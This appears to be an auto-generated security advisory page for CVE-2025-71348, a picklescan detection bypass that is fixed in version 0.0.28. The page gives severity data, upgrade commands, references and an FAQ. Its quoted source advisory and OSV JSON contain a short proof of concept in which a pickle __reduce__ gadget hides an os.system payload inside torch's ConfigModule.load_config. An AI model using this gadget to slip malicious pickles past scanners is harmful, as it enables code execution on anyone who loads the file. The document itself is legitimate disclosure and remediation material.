CVE-2025-71348: Picklescan Picklescan Is Missing Detection When Vulnerability

HIGH
Advisory Identifier: GHSA-vv6j-3g6g-2pvj
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CVSS 8.1
CWE-345
Published
Advisory Summary

CVE-2025-71348 is a HIGH (CVSS 8.1) picklescan is missing detection when vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config. Remediation is available by upgrading affected packages to version 0.0.28.

CVE-2025-71348 at a Glance

CVE Identifier CVE-2025-71348
GHSA Identifier GHSA-vv6j-3g6g-2pvj
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-71348

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.28 
pip install picklescan>=0.0.28
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-71348, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.28), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

CVE-2025-71348 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.28
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
pypi/picklescan
PyPI
< 0.0.28
0.0.28

References

GitHub Advisory / Wiki ADVISORY
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj
NVD — CVE-2025-71348 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-71348
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan/pull/47
Security Fix Commit FIX COMMIT
https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan
Picklescan Release RELEASE
https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28
Picklescan Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml
www.vulncheck.com/advisories/picklesc... WEB
https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass

Frequently Asked Questions

What is CVE-2025-71348?
CVE-2025-71348 is a security vulnerability in Picklescan involving Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config under CWE-345: Insufficient Verification of Data Authenticity.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.28 across affected packages: picklescan.
What version fixes CVE-2025-71348?
Upgrading to 0.0.28 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.28. Upgrade your dependency to 0.0.28 or later.
What is the CVSS score of CVE-2025-71348?
CVE-2025-71348 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2025-71348?
CVE-2025-71348 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check PyPI dependencies for CVE-2025-71348?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv6j-3g6g-2pvj",
  "modified" : "2026-09-11T19:36:47Z",
  "published" : "2025-08-22T16:58:14Z",
  "aliases" : [ "CVE-2025-71348" ],
  "summary" : "Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config",
  "details" : "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.28"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.0.27"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71348"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/47"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-22T16:58:14Z",
    "nvd_published_at" : null
  }
}